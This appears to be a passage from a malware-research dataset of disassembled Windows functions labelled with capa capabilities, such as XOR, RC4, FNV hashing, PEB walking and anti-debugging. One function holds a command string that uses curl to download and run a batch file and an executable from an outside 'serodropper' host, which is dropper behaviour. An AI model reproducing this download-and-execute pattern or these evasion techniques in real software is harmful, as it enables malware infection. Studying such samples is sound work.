joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1405be32f
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
je 0x140841959
movzx r8d, word [rcx]
cmp rdx, r8
test r8w, r8w
je 0x140841959
mov r9d, 0x811c9dc5
lea eax, [r8 - 0x41]
cmp ax, 0x19
lea ecx, [r8 + 0x20]
movsx ax, r14b
mov ax, r11w
movsx eax, r8w
lea rdx, [rdx + 2]
xchg al, al
cmova cx, r8w
rcl r8, 0x3f
cmp r10, 0x78ee6e31
movzx r8d, word [rdx]
bt ax, 0xa9
movzx eax, cx
test dl, r12b
xor eax, r9d
bts r9, r8
imul r9d, eax, 0x1000193
test r8b, dl
clc
test r8w, r8w
jne 0x14011536c
mov eax, r9d
ret
ret
mov rdx, rcx
cmc
cmp r8b, 0xf6
test rcx, rcx
jmp 0x14011534f
xor eax, eax
jmp 0x1403ab78b

Function at 0x1407e74b0
Capabilities:
Hash data using fnv

Disassembly:
movzx eax, al
clc
cmp dl, r15b
cmp r15b, 0xc0
xor eax, edx
imul edx, eax, 0x1000193
shr al, 0x65
ror al, 0x82
mov al, byte [rcx]
test r8b, 0x8f
test ah, dl
test al, al
jmp 0x1401ca377
jne 0x14035abee
mov eax, edx
jmp 0x140869f05
je 0x140812a0e
inc rcx
jmp 0x14017d76e
ret
test rcx, rcx
jmp 0x140869f5d
xor eax, eax
jmp 0x1403f9dde
ret
je 0x140812a0e
mov al, byte [rcx]
xchg dh, dh
shr dx, 0x91
mov edx, 0x811c9dc5
test bp, si
clc
test al, al
jmp 0x14035abe8

Function at 0x1407faada
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Hash data using fnv

Disassembly:
je 0x14023c070
mov r9b, byte [rcx]
test r9b, r9b
je 0x14023c070
mov r10d, 0x811c9dc5
movzx edx, r14w
movzx edx, r9b
xadd al, ah
sub r9b, 0x41
cmp r9b, 0x19
bswap rax
setae ch
lea eax, [rdx + 0x20]
movzx ecx, al
mov r9b, 0x73
movsx eax, si
xchg r9b, r9b
cmova ecx, edx
movsxd rax, edi
mov r9b, 0x4b
inc r8
movzx eax, cl
neg r9b
shl r9b, cl
xor eax, r10d
shr r10b, cl
rcl r9b, cl
imul r10d, eax, 0x1000193
mov r9b, byte [r8]
cmc
cmp cl, 0x8d
stc
test r9b, r9b
jne 0x14007bd16
mov eax, r10d
ret
test rcx, rcx
jmp 0x14007bcfa
ret
xor eax, eax
jmp 0x14022ca4d
mov r8, rcx
jmp 0x1401037c5
Function at 0x1408a3923
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
stc
sub bpl, 0x88
mov qword [rax + 0x18], rsi
shld ebp, r10d, 0x63
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
bsr rsi, r10
mov rax, qword gs:[0x60]
bts bp, r12w
and r14b, 0x38
rcr r14b, 0x17
mov r14b, r8b
mov ebp, ecx
mov rsi, qword [rax + 0x18]
test rsi, rsi
jmp 0x1408a3971
je 0x1408a3a21
add rsi, 0x10
and bl, sil
sub edi, edi
xor ebp, 0x75ede3db
mov rbx, qword [rsi]
test bp, r12w
cmp r8, 0x6ef013c7
test r8b, r8b
je 0x1408a39dc
call 0x140409cf2
jmp 0x1408a39dc
movzx edx, word [rbx + 0x58]
xadd cl, cl
sar cl, cl
bts cx, r13w
mov rcx, qword [rbx + 0x60]
test r10b, r9b
cmc
shr rdx, 1
jmp 0x1408a39c6
call fcn.1403c60d3
cmp eax, ebp
je 0x1408a39ef
mov rbx, qword [rbx]
jmp 0x1408a39dc
cmp rbx, rsi
jmp 0x1408a39e4
jne 0x1408a39a8
jmp 0x1408a39f6
mov rdi, rbx
clc
cmp r8b, r11b
test r14b, r14b
je 0x1408a3a04
call 0x14023841d
test rdi, rdi
jmp 0x1408a3a0d
je 0x1408a3a21
mov rax, qword [rdi + 0x30]
jmp 0x1408a3a1c
jmp 0x1408a3a26
sub eax, eax
or r14b, dl
mov rbx, qword [rsp + 0x30]
mov dil, 0xd0
mov rbp, qword [rsp + 0x38]
bt di, 0xd7
mov rsi, qword [rsp + 0x40]
bsf rdi, rax
cmc
mov rdi, qword [rsp + 0x48]
and r14b, r15b
seto r14b
add rsp, 0x20
movsx r14d, cx
movzx r14, cx
pop r14
jmp 0x1408a3a61
ret
Function at 0x1408a4328
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
sub bh, bh
test cl, 0xa
rol bx, cl
mov qword [rax + 0x10], rsi
bswap bx
mov qword [rax + 0x18], rdi
mov dil, dil
btr di, r10w
push rbp
bts di, dx
lea rbp, [rax - 0x5f]
sub rsp, 0x90
sub esi, esi
sbb rdi, r8
mov dword [rbp + 7], 0x4b005c
stc
sbb edi, 0x718d7134
movsx ebx, r9w
mov qword [rbp + 0x7f], rsi
movzx di, r12b
mov rbx, r8
test dil, 0x35
movzx rdi, bp
mov dword [rbp + 0xb], 0x6f006e
not dil
shr di, cl
mov rdi, rcx
mov dword [rbp + 0xf], 0x6e0077
clc
mov dword [rbp + 0x13], 0x6c0044
mov dword [rbp + 0x17], 0x73006c
stc
cmp r14, 0x658654f7
mov dword [rbp + 0x1b], 0x320033
test cx, 0x3ec5
mov word [rbp + 0x1f], si
test bh, 9
cmc
test dl, dl
jmp 0x1408a43ce
jne 0x1408a43df
mov word [rbp + 0x1b], si
jmp 0x1408a43df
lea rdx, [rbp + 7]
lea rcx, [rbp - 0x19]
jmp 0x1408a43ec
call 0x14038fea9
lea rax, [rbp - 0x19]
mov dword [rbp + 0x27], 0x30
jmp 0x1408a4402
xorps xmm0, xmm0
mov qword [rbp + 0x37], rax
lea r8, [rbp + 0x27]
movzx rdx, dx
movzx ecx, r12w
cwd
mov qword [rbp + 0x2f], rsi
movzx ecx, r12w
movzx cx, r14b
mov edx, 3
movsxd rcx, ecx
movsx cx, spl
mov dword [rbp + 0x3f], 0x40
not ch
movsx rcx, ax
sets ch
lea rcx, [rbp + 0x7f]
movdqu xmmword [rbp + 0x47], xmm0
call fcn.1401c7a97
test eax, eax
jmp 0x1408a4456
js 0x1408a44ec
mov rdx, rdi
movsxd rcx, r8d
lea rcx, [rbp - 9]
jmp 0x1408a446b
call 0x140861eaa
mov rax, qword [rbp + 0x7f]
not r8b
movsx r8d, ax
movsx r8w, r8b
lea r8, [rbp + 0x27]
jmp 0x1408a448a
mov qword [rbp + 0x2f], rax
jmp 0x1408a4493
xorps xmm0, xmm0
lea rax, [rbp - 9]
xchg dh, dh
mov dword [rbp + 0x27], 0x30
movzx ecx, dx
movsx dx, bpl
mov edx, 0xf
bswap rcx
xchg ch, ch
mov qword [rbp + 0x37], rax
movsx rcx, dx
mov rcx, rbx
mov dword [rbp + 0x3f], 0x40
jmp 0x1408a44cc
movdqu xmmword [rbp + 0x47], xmm0
call fcn.14040f34b
mov rcx, qword [rbp + 0x7f]
mov ebx, eax
jmp 0x1408a44e1
call fcn.1403a56e9
mov eax, ebx
movsx r11, di
lea r11, [rsp + 0x90]
movzx bp, sil
mov bh, 0x70
mov rbx, qword [r11 + 0x10]
jmp 0x1408a450b
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movsx ebp, bp
mov bpl, 0x40
mov rsp, r11
movzx bp, dl
movzx ebp, bx
pop rbp
jmp 0x1408a4529
ret
Function at 0x1408a7984
Capabilities:
Encode data using xor
Execute anti-debugging instructions
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
xor r10d, r12d
bts r8w, cx
mov qword [rsp + 0x18], rbp
cmp eax, r12d
mov qword [rsp + 0x20], rsi
mov r10w, 0x5d49
push rdi
push r14
mov r8, rdx
cmp r8b, 0xbd
cmp r12b, r9b
adc r14b, dil
mov r9, rdx
sub bpl, 0xb5
btr rdi, rcx
xchg r14d, esi
shr r8, 3
mov rdi, rcx
movsxd rsi, r8d
movabs rsi, 0xcbf29ce484222325
movabs rbp, 0x100000001b3
jmp 0x1408a79e7
movabs r14, 0x7080100200400801
bswap r10w
movsx r10d, ax
movsx r10, r13w
mov r10d, 8
jmp 0x1408a7a08
jmp 0x1408a7ab5
dec r8
movsxd rcx, r8d
bts ebx, esi
not bx
rdtsc
movsx cx, sil
shl rdx, 0x20
cmc
and ch, 0x3b
lea r11, [rsp + 0x18]
or rax, rdx
rcl bh, cl
bswap bx
jmp 0x1408a7a3a
mov rbx, r10
bt dx, cx
stc
cdq
mov rcx, rax
ror rcx, 3
rcl dh, cl
or dx, dx
xor rcx, rax
shl edx, cl
rcr ah, 5
sar edx, cl
mov rax, r14
ror dl, cl
movzx dx, r12b
mul rcx
xchg cl, ch
mov rcx, rsi
cmc
xor rdx, rax
movsx rax, r14w
mov qword [rsp + 0x18], rdx
mov rax, 0x76405380
dec ax
movzx eax, byte [r11]
inc r11
xor rcx, rax
test r14, 0x6dcd35f5
stc
imul rcx, rbp
sub rbx, 1
jne 0x1408a7a82
xor rcx, rdx
jmp 0x1408a7aae
mov qword [rdi], rcx
lea rdi, [rdi + r10]
test r8, r8
jmp 0x1408a7abd
jne 0x1408a7a0d
and r9d, 7
jmp 0x1408a7acc
je 0x1408a7b93
rdtsc
bts cx, r10w
shl rdx, 0x20
or rax, rdx
ror cl, 0x2d
mov rcx, rax
cdq
ror rcx, 3
bts edx, r15d
movzx rdx, r11w
xor rcx, rax
cwd
and ax, r11w
movsx dx, r13b
mov rax, r14
not dx
shl dl, 0xdb
adc edx, r11d
mul rcx
bt cx, 0x23
movzx cx, r14b
lea rcx, [rsp + 0x18]
test r12d, 0x46ca25a1
xor rdx, rax
mov qword [rsp + 0x18], rdx
movsx ax, al
movzx eax, byte [rcx]
inc rcx
stc
test rbx, 0x3cf6122d
xor rsi, rax
clc
imul rsi, rbp
clc
stc
sub r10, 1
jmp 0x1408a7b53
jne 0x1408a7b32
xor rdx, rsi
jmp 0x1408a7b61
mov qword [rsp + 0x18], rdx
test bpl, r8b
clc
test rdi, rdi
jmp 0x1408a7b72
je 0x1408a7b93
lea rsi, [rsp + 0x18]
jmp 0x1408a7b82
mov rcx, r9
movsx ebp, ax
not ebp
rep movsb byte [rdi], byte [rsi]
movzx esi, r9w
bswap bp
mov rbx, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x28]
mov r14, 0x66896c20
xchg r14b, r14b
mov rsi, qword [rsp + 0x30]
movsx rdi, ax
movsx r14w, al
pop r14
movzx di, r10b
jmp 0x1408a7bc5
pop rdi
jmp 0x1408a7bcb
ret
Function at 0x1408bb5f8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
movsx cx, r11b
push rbp
movsx bp, spl
movsx rbp, r11w
push rsi
sub bpl, r15b
jmp 0x1408bb620
push rdi
neg cx
sbb cl, ah
add rsi, 0x617f20a2
push r12
push r13
ror sil, cl
sar esi, cl
push r14
push r15
cmc
sal sil, 0x5a
add r13b, 0x27
mov rbp, rsp
test r11w, 0x1b08
sub rsp, 0x60
sbb sil, 0x60
xadd r13b, r14b
ror cx, cl
mov qword [rbp - 0x30], 0xfffffffffffffffe
or r14b, r14b
dec r14b
shl r15w, cl
mov qword [rax + 0x10], rbx
cwde
and esi, 0x4c826f0f
dec r13b
mov r14, r9
rcr r15w, cl
movsx ax, r14b
cmp ah, 0xc5
mov r13b, r8b
rol rsi, 0x9f
mov r15, rdx
ror sil, cl
xor ah, dl
btr r8w, r8w
mov dword [rbp - 0x28], 0x6c2f0b27
mov esi, 0x236b02e0
mov dword [rbp - 0x24], 0xf07aa625
mov dword [rbp - 0x20], 0x19b7a0af
sar r8b, 0x58
and dword [r9], 0
dec cl
mov r8w, 0xcd0
lea rsi, [rbp - 0x28]
movsx rcx, r13w
sbb r8, rbx
cmp r15b, 0x6b
xor edi, edi
cbw
btr r8w, 0xef
lea rcx, [rbp - 0x1c]
bt r9d, edx
btr r8d, 0xe3
lea rax, [rbp - 0x28]
or r8b, 0xae
shr r8w, cl
cmp rcx, rax
sbb rbx, rbx
not rbx
movsx rax, cx
movsxd rax, r9d
mov r9b, spl
and ebx, 3
mov eax, dword [rsi]
rol rcx, cl
dec r9
mov dword [rbp - 0x18], eax
and qword [rbp - 0x10], 0
lea r9, [fcn.140036818]
test r9w, 0xc9e
btr cx, r14w
lea r8, [rbp - 0x18]
bswap cx
xor rcx, rcx
sub edx, edx
mov rcx, qword [r15]
jmp 0x1408bb745
call fcn.1408a3b67
nop
and ax, r8w
add al, r14b
mov rax, qword [rbp - 0x10]
cmc
test r14w, r15w
test rax, rax
jmp 0x1408bb763
je 0x1408bb870
and dword [rbp + 0x40], 0
and qword [rbp + 0x58], 0
lea r12, [rax + 0x34]
movsxd rdx, r13d
lea rax, [rbp + 0x58]
movzx rcx, r10w
mov qword [rsp + 0x20], rax
movzx r8w, bpl
cqo
mov r9d, 4
lea r8, [rbp + 0x40]
not dh
movsx rcx, r13w
mov rdx, r12
mov rcx, qword [r15]
jmp 0x1408bb7a8
call fcn.140744b6e
nop
mov edx, eax
test r15b, 0x6e
cmp eax, 0x51ea0f9d
clc
test eax, eax
jmp 0x1408bb7c1
js 0x1408bb863
test r13b, r13b
je 0x1408bb7f2
mov ecx, dword [rbp + 0x40]
rol al, 0x75
mov eax, 0x40000
test eax, ecx
jne 0x1408bb856
or ecx, eax
jmp 0x1408bb7ea
mov dword [rbp + 0x40], ecx
jmp 0x1408bb822
mov eax, dword [rbp + 0x40]
stc
cmc
bt eax, 0x12
jmp 0x1408bb800
jae 0x1408bb856
btr eax, 0x12
cmovl r8w, r14w
shrd r9, r13, 0x7f
setge dl
mov dword [rbp + 0x40], eax
movsx dx, spl
rcr dh, 0xd9
and qword [rsp + 0x20], 0
mov r9d, 4
jmp 0x1408bb836
lea r8, [rbp + 0x40]
movsxd rcx, esi
mov rdx, r12
movzx rcx, dx
mov rcx, qword [r15]
call fcn.1405472a5
nop
mov dx, r8w
setp dl
mov edx, eax
test edx, edx
jmp 0x1408bb85d
jns 0x1408bb877
mov dword [r14], edx
jmp 0x1408bb86b
jmp 0x1408bb877
mov dword [r14], 0xc0000225
add rsi, 4
jmp 0x1408bb880
inc rdi
cmp rdi, rbx
jne 0x1408bb70f
mov rbx, qword [rsp + 0xa8]
rol r14b, 0xac
add rsp, 0x60
mov r12w, 0x7529
pop r15
cmove r12w, r9w
not r14
movzx r13, ax
pop r14
cmovg r12w, di
pop r13
movsx di, r8b
movzx si, r12b
mov bpl, r15b
pop r12
bswap bp
not si
movsx rdi, bp
pop rdi
movsx si, r14b
pop rsi
pop rbp
jmp 0x1408bb8de
ret
Function at 0x1408cccf2
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
movzx rbx, r8w
ror bl, 0xdf
mov rbx, 0x64038f3
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
bswap si
and bx, 0x4989
push rdi
sar si, 0x69
movzx rsi, cx
sub rsp, 0x20
shr si, cl
sub ebp, ebp
movzx rsi, ax
mov rdi, rdx
sub rdi, rcx
rol bh, cl
add sil, 0xc0
mov rbx, rcx
movzx esi, dx
ror sil, cl
mov sil, al
add rdi, 7
xadd sil, sil
xor sil, 0xd9
bt si, bp
mov esi, ebp
shr rdi, 3
stc
test al, r10b
cmp rcx, rdx
jmp 0x1408ccd67
cmova rdi, rbp
cmp dil, dil
clc
test rdi, rdi
jmp 0x1408ccd77
je 0x1408ccdb0
mov rax, qword [rbx]
test r15b, dl
test rax, rax
je 0x1408ccd96
mov qword [rbx], rbp
jmp 0x1408ccd94
call rax
add rbx, 8
jmp 0x1408ccd9f
inc rsi
cmp rsi, rdi
jmp 0x1408ccdaa
jne 0x1408ccd7d
mov rbx, qword [rsp + 0x30]
rcr bpl, 0x2d
and sil, r14b
mov rbp, qword [rsp + 0x38]
bsf esi, r15d
bt di, 0xf1
mov rsi, qword [rsp + 0x40]
adc di, bx
not edi
add rsp, 0x20
jmp 0x1408ccde3
pop rdi
jmp 0x1408ccde9
ret
Function at 0x1400fe36f
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 8
push r12
push r13
push r14
push r15
push rbx
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov r12, 3
mov r13, 1
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, r12
call fcn.1400fe4e1
add rsp, 0x20
rol eax, 8
sub rsp, 0x20
mov rcx, rax
mov rdx, qword [rbp + 0x18]
call fcn.1400fe505
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
mov rdx, qword [rbp + 0x20]
mov r8, r13
call fcn.1400fe4b6
add rsp, 0x20
inc r13
mov rbx, rax
mov r14, r12
sub r14, 3
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, r14
call fcn.1400fe4e1
add rsp, 0x20
xor rax, rbx
inc r12
sub rsp, 0x20
mov rcx, rax
mov rdx, qword [rbp + 0x10]
mov r8, r12
call fcn.1400fe48a
add rsp, 0x20
mov r15, 3
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, r12
call fcn.1400fe4e1
add rsp, 0x20
mov rbx, rax
mov r14, r12
sub r14, 3
sub rsp, 0x20
mov rcx, qword [rbp + 0x10]
mov rdx, r14
call fcn.1400fe4e1
add rsp, 0x20
xor rax, rbx
inc r12
sub rsp, 0x20
mov rcx, rax
mov rdx, qword [rbp + 0x10]
mov r8, r12
call fcn.1400fe48a
add rsp, 0x20
dec r15
jne 0x1400fe421
cmp r12, 0x2b
jne 0x1400fe39a
pop rbx
pop r15
pop r14
pop r13
pop r12
leave
ret

Function at 0x1400fe704
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
push r12
push rbx
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp + 0x28], r9
mov rdx, qword [rbp + 0x10]
mov r12, 4
mov eax, dword [rdx]
bswap eax
mov rbx, qword [rbp + 0x18]
xlatb
mov cl, al
shr eax, 8
mov rbx, qword [rbp + 0x28]
xlatb
xor cl, al
shr eax, 8
mov rbx, qword [rbp + 0x20]
xlatb
xor cl, al
shr eax, 8
mov rbx, qword [rbp + 0x30]
xlatb
xor cl, al
mov dword [rbp - 0x10], ecx
mov eax, dword [rdx]
bswap eax
mov rbx, qword [rbp + 0x28]
xlatb
mov cl, al
shr eax, 8
mov rbx, qword [rbp + 0x20]
xlatb
xor cl, al
shr eax, 8
mov rbx, qword [rbp + 0x30]
xlatb
xor cl, al
shr eax, 8
mov rbx, qword [rbp + 0x18]
xlatb
xor cl, al
mov eax, dword [rbp - 0x10]
shl eax, 8
mov al, cl
mov dword [rbp - 0x10], eax
mov eax, dword [rdx]
bswap eax
mov rbx, qword [rbp + 0x20]
xlatb
mov cl, al
shr eax, 8
mov rbx, qword [rbp + 0x30]
xlatb
xor cl, al
shr eax, 8
mov rbx, qword [rbp + 0x18]
xlatb
xor cl, al
shr eax, 8
mov rbx, qword [rbp + 0x28]
xlatb
xor cl, al
mov eax, dword [rbp - 0x10]
shl eax, 8
mov al, cl
mov dword [rbp - 0x10], eax
mov eax, dword [rdx]
bswap eax
mov rbx, qword [rbp + 0x30]
xlatb
mov cl, al
shr eax, 8
mov rbx, qword [rbp + 0x18]
xlatb
xor cl, al
shr eax, 8
mov rbx, qword [rbp + 0x28]
xlatb
xor cl, al
shr eax, 8
mov rbx, qword [rbp + 0x20]
xlatb
xor cl, al
mov eax, dword [rbp - 0x10]
shl eax, 8
mov al, cl
bswap eax
mov dword [rdx], eax
add rdx, 4
dec r12
jne 0x1400fe72a
pop rbx
pop r12
leave
ret
Function at 0x1400ff451
Capabilities:
Inspect section memory permissions

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x110
push rbx
push r12
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov rdx, qword [rbp + 0x10]
mov ebx, dword [rdx + 0x24]
and ebx, 0xe0000000
cmp ebx, 0xe0000000
jne 0x1400ff490
mov rax, 0x40
mov qword [rbp - 0x110], rax
jmp 0x1400ff501
mov ebx, dword [rdx + 0x24]
and ebx, 0x60000000
cmp ebx, 0x60000000
jne 0x1400ff4b1
mov rax, 0x20
mov qword [rbp - 0x110], rax
jmp 0x1400ff501
mov ebx, dword [rdx + 0x24]
and ebx, 0xc0000000
cmp ebx, 0xc0000000
jne 0x1400ff4d2
mov rax, 4
mov qword [rbp - 0x110], rax
jmp 0x1400ff501
mov ebx, dword [rdx + 0x24]
and ebx, 0x40000000
cmp ebx, 0x40000000
jne 0x1400ff4f3
mov rax, 2
mov qword [rbp - 0x110], rax
jmp 0x1400ff501
mov rax, 1
mov qword [rbp - 0x110], rax
mov eax, dword [rdx + 0xc]
add rax, qword [rbp + 0x18]
mov ebx, dword [rdx + 8]
lea r12, [rbp - 0x108]
sub rsp, 0x20
mov rcx, rax
mov rdx, rbx
mov r8, qword [rbp - 0x110]
mov r9, r12
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
add rsp, 0x20
test rax, rax
je 0x1400ff549
mov rdx, qword [rbp + 0x10]
mov eax, dword [rdx + 0xc]
add rax, qword [rbp + 0x18]
mov rax, 1
jmp 0x1400ff54c
sub rax, rax
pop r12
pop rbx
leave
ret

Function at 0x1400ff551
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
mov qword [rbp + 0x10], rcx
mov rcx, qword [rbp + 0x10]
mov ax, word [rcx]
cmp ax, 0x5a4d
jne 0x1400ff57e
mov eax, dword [rcx + 0x3c]
add rcx, rax
mov eax, dword [rcx]
cmp eax, 0x4550
jne 0x1400ff57e
add rcx, 4
mov rax, rcx
leave
ret
sub rax, rax
leave
ret

Function at 0x1400ff5c6
Capabilities:
Terminate process

Disassembly:
sub rsp, 8
sub rsp, 0x20
call fcn.1400ff5f7
add rsp, 0x20
test rax, rax
je 0x1400ff5e2
add rsp, 8
jmp rax
sub rsp, 0x20
mov rcx, 0
call qword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x140001650
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x30]
sub rsp, 0x130
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x20], rax
xor edx, edx
lea rcx, str.cd__d__systemdrive___cd__temp___curl__s__o__temp_Uni.bat_http:__serodropper.x10.mx_Uni.bat___temp_Uni.bat__exit
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__serodropper.x10.mx_smokeyinjectorv2.02.exe
lea rcx, [rbp - 0x78]
call fcn.140001890
nop
lea rdx, str.C:Path_todownloaded_smokeyinjectorv2.02.exe
lea rcx, [rsp + 0x68]
call fcn.140001890
nop
lea rdx, [rsp + 0x68]
lea rcx, [rbp - 0x78]
call fcn.1400011c0
mov dword [rbp - 0x50], 0x68
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp + 8], xmm0
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 8
cmovae rdx, qword [rsp + 0x68]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001743
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001767
lea rdx, str.Failed_to_execute_the_file_with_CreateProcess.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001c00
mov rcx, rax
lea rdx, [0x140001dd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 8
jb 0x1400017ab
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017a6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000207c
movdqa xmm0, xmmword [0x1400035a0]
movdqu xmmword [rsp + 0x78], xmm0
mov word [rsp + 0x68], bx
mov rdx, qword [rbp - 0x60]
cmp rdx, 8
jb 0x140001801
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400017fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400017fc
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000207c
xor eax, eax
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.140002020
mov rbx, qword [rsp + 0x140]
add rsp, 0x130
pop rbp
ret
Function at 0x1400029b4
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400029fe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400029fe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400029fe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400029fe
cmp dword [rcx + 0x84], 0xe
jbe 0x1400029fe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002a00
xor al, al
add rsp, 0x28
ret
Function at 0x140004310
Capabilities:
Enumerate pe sections

Disassembly:
push rbx
push rbp
push r13
push r14
mov eax, 0x1078
call fcn.140010ab0
sub rsp, rax
mov rax, qword [0x140023010]
xor rax, rsp
mov qword [rsp + 0x1050], rax
mov rbp, rdx
mov qword [rsp + 0x38], r9
mov rdx, qword [rsp + 0x10c0]
xor r14d, r14d
mov qword [rsp + 0x30], rdx
mov r13, r8
mov qword [rsp + 0x40], rcx
test r8, r8
je 0x140004392
mov r9d, 0x1000
lea rdx, [rsp + 0x50]
call fcn.1400027e0
test al, al
jne 0x14000439a
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Cant_read_module_headers
call fcn.1400060d0
lea rdx, [0x1400062b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rdx, r14
jmp 0x140004482
mov qword [rsp + 0x10a8], rsi
mov qword [rsp + 0x1070], rdi
mov rdi, 0xffffffffffffffff
mov qword [rsp + 0x1068], r12
mov qword [rsp + 0x1060], r15
inc rdi
cmp byte [rdi + rbp], r14b
jne 0x1400043c1
movsxd rax, dword [rsp + 0x8c]
lea rcx, [rsp + 0x50]
add rcx, rax
mov esi, r14d
movzx eax, word [rcx + 0x14]
lea r12, [rcx + 0x18]
movzx r15d, word [rcx + 6]
add r12, rax
test r15d, r15d
je 0x14000443c
nop dword [rax]
nop word [rax + rax]
mov eax, esi
mov r8, rdi
mov rdx, rbp
lea rcx, [rax + rax*4]
lea rbx, [r12 + rcx*8]
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140004435
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rbx + rax], r14b
jne 0x140004423
cmp rdi, rax
je 0x1400044bc
inc esi
cmp esi, r15d
jb 0x140004400
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.____Cant_find_section
call fcn.1400060d0
lea rdx, [0x1400062b0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rdx, r14
mov r12, qword [rsp + 0x1068]
mov rdi, qword [rsp + 0x1070]
mov rsi, qword [rsp + 0x10a8]
mov r15, qword [rsp + 0x1060]
mov rax, qword [rsp + 0x30]
mov r9, qword [rsp + 0x38]
